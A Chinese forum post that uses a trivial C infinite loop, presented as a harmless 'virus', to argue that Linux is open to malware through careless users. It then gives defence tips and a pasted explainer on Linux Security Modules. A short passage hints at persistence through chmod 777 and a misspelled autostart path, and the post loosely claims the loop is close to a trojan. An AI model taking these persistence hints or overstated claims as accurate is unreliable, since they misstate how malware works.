可以清晰地看出,這個被中國定制版的ubuntu出現了彈窗,而這在以往的linux上是根本看不到的,現在除了ubuntu麒麟外,我尚沒有看到其它版本的linux存在這種情況~(也許我孤陋寡聞,如果哪位飯團發現,請指正)
以下是一個非破壞性病毒的源代碼,它非常簡單,你可以在windows,linux,MAC OS,freeBSD……上編譯看到結果,它的作用就是產生滿屏的混亂。
在ubuntu下你可以使用Geany編譯并運行,其余系統只要有C編譯器即可
#include <stdio.h>
?
int main()
{
? ? ? ? for (;1;)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? printf("*");
? ? ? ? ? ? ? ? }
? ? ? ? return 0;
}
只要編譯運行就會不斷顯示“*”號,滿屏混亂,除非按Break鍵或者拔電源,如果是窗口調試,可以關閉窗口即可。
windows們無須擔心,因為不編譯成EXE是無法運行的。
其它系統也可以編譯運行。
你可以附件傳至樣本區或者自己查殺一下,我保證過所有殺軟。
就是因為這個惡意程序太簡單,但是所有的殺軟都不會認為其是病毒,但是只要稍微修改一下代碼,就可以成為木馬,甚至攻擊利器。
結果是不會自然停止的,學過編程的知道,這是一個死循環(故意的死循環)
這一切都是基于Linux的,而且只要病毒制造者把權限設成anyone,就是chmod 777,那么根本不需要root,所有linux都可以運行(臨時攻擊),如果想開機啟動,只要在某些人的粗心幫助下拷貝到/etc/adg/autostart文件夾即可
注:文中病毒程序并不是真正的病毒,只是一段最簡單的代碼而已,作用是拋磚引玉,并不是教大家真正病毒編寫,否則那就與卡飯的氛圍不符了,再說私自傳播病毒是違法的,在下就是吃了豹子膽也不敢啊~?
相關帖子
基予Ubuntu Linux病毒可能的探討——編寫Linux病毒并不難 小A的Linux版本可不可以殺Windows下的病毒? 問一下,nod32在linux下能清除windows下的病毒么? 病毒知識:病毒奧秘 文件宏病毒和傳統病毒的差異 2010年度報告:是誰在編寫Linux內核? 什么殺毒軟件的病毒庫可查殺的病毒最多 McAfee8.5i+antispy+1月15日最新附加病毒庫+1月14日病毒庫+通用安全規則 可否用論壇提供的病毒庫備份程序作出的病毒庫作為離線更新源 死神病毒降臨 破壞殺毒軟件狂下病毒 卡巴更新完,病毒數量有顯示,但病毒庫沒變化!
二 ? 我為什么寫這些
寫這些的目的當然不是教大家如何炫耀技術,或者用病毒去害人,這恰恰不是我的本意,我的本意是只有人才是關鍵因素,而操作系統不是最關鍵的!
本來Linux以其干凈純潔著稱,但是在某些粗心,圖省事的用戶幫助下,運行病毒簡直易如反掌
安卓就是基于Linux的,這就是前車之鑒。
國內的紅旗Linux就是以KDE為基礎,root用戶為登錄用戶的系統,雖然其曾經吹噓多么安全,但是我很簡單的就把它弄癱瘓了,因為很簡單,本來就是root用戶,密碼又是空的,對系統的修改簡直就是易如反掌,隨心所欲。
我們知道Linux的理念就是認為用戶知道自己在做什么,并且清晰地知道該怎么做,而對于廣大技術小白而言,linux簡直就是病毒的新大陸。只要稍稍誘騙,那么病毒就可以堂而皇之地進入系統,運行起來。
三 ? 我們該怎么辦
正是有了細菌的發現我們才有了抗生素,一味懼怕病毒或者惡意軟件是沒有用的,關鍵就是提高我們的技術實力和防范措施。
現在的ubuntu麒麟只是有個彈窗,以后會不會像酷派那樣安裝后門來推廣還不知道,但這根本不是難事,從技術上說,比在windows下還容易。
所以我們必須知道以下方法
1、了解病毒行為
CIMA和火眼就可以
可以看我的帖子
http://bbs.kafan.cn/thread-968044-1-1.html
2、意識上的防范
這是最重要的,沒有意識上的防范,再安全的系統也是人用的,只要有人就有漏洞。大意和麻痹才是最大的敵人。
3、多學知識,武裝自己
如果你會簡單的C語言,簡單的反匯編,那么不管是Linux還是windows病毒根本就是無所遁形
4、殺毒軟件
卡巴,ESET,賽門鐵克等殺軟均有Linux版本
如何增強 Linux 系統的安全性 -?Linux 安全模塊(LSM)簡介
在安全性方面,Linux內核只提供了經典的UNIX自主訪問控制(root用戶,用戶ID,模式位安全機制),以及部分的支持了POSIX.1e標準草案中的capabilities安全機制,這對于Linux系統的安全性是不足夠的,影響了Linux系統的進一步發展和更廣泛的應用。
有很多安全訪問控制模型和框架已經被研究和開發出來,用以增強Linux系統的安全性,比較知名的有安全增強Linux(SELinux),域和類型增強(DTE),以及Linux入侵檢測系統(LIDS)等等。但是由于沒有一個系統能夠獲得統治性的地位而進入Linux內核成為標準;并且這些系統都大多以各種不同的內核補丁的形式提供,使用這些系統需要有編譯和定制內核的能力,對于沒有內核開發經驗的普通用戶,獲得并使用這些系統是有難度的。在2001年的Linux內核峰會上,美國國家安全局(NSA)介紹了他們關于安全增強Linux(SELinux)的工作,這是一個靈活的訪問控制體系Flask在Linux中的實現,當時Linux內核的創始人Linus Torvalds同意Linux內核確實需要一個通用的安全訪問控制框架,但他指出最好是通過可加載內核模塊的方法,這樣可以支持現存的各種不同的安全訪問控制系統。因此,Linux安全模塊(LSM)應運而生。
Linux安全模塊(LSM)是Linux內核的一個輕量級通用訪問控制框架。它使得各種不同的安全訪問控制模型能夠以Linux可加載內核模塊的形式實現出來,用戶可以根據其需求選擇適合的安全模塊加載到Linux內核中,從而大大提高了Linux安全訪問控制機制的靈活性和易用性。目前已經有很多著名的增強訪問控制系統移植到Linux安全模塊(LSM)上實現,包括POSIX.1e capabilities,安全增強Linux(SELinux),域和類型增強(DTE),以及Linux入侵檢測系統(LIDS)等等。雖然目前Linux安全模塊(LSM)仍然是作為一個Linux內核補丁的形式提供,但是其同時提供Linux 2.4穩定版本的系列和Linux 2.5開發版本的系列,并且很有希望進入Linux 2.6穩定版本,進而實現其目標:被Linux內核接受成為Linux內核安全機制的標準,在各個Linux發行版中提供給用戶使用。
Linux安全模塊(LSM)目前作為一個Linux內核補丁的形式實現。
其主要在五個方面對Linux內核進行了修改:
在特定的內核數據結構中加入了安全域
在內核源代碼中不同的關鍵點插入了對安全鉤子函數的調用
加入了一個通用的安全系統調用
提供了函數允許內核模塊注冊為安全模塊或者注銷
將capabilities邏輯的大部分移植為一個可選的安全模塊
總結
- 上一篇: ODBC + WIN32 API 访问M
- 下一篇: CSS3 新功能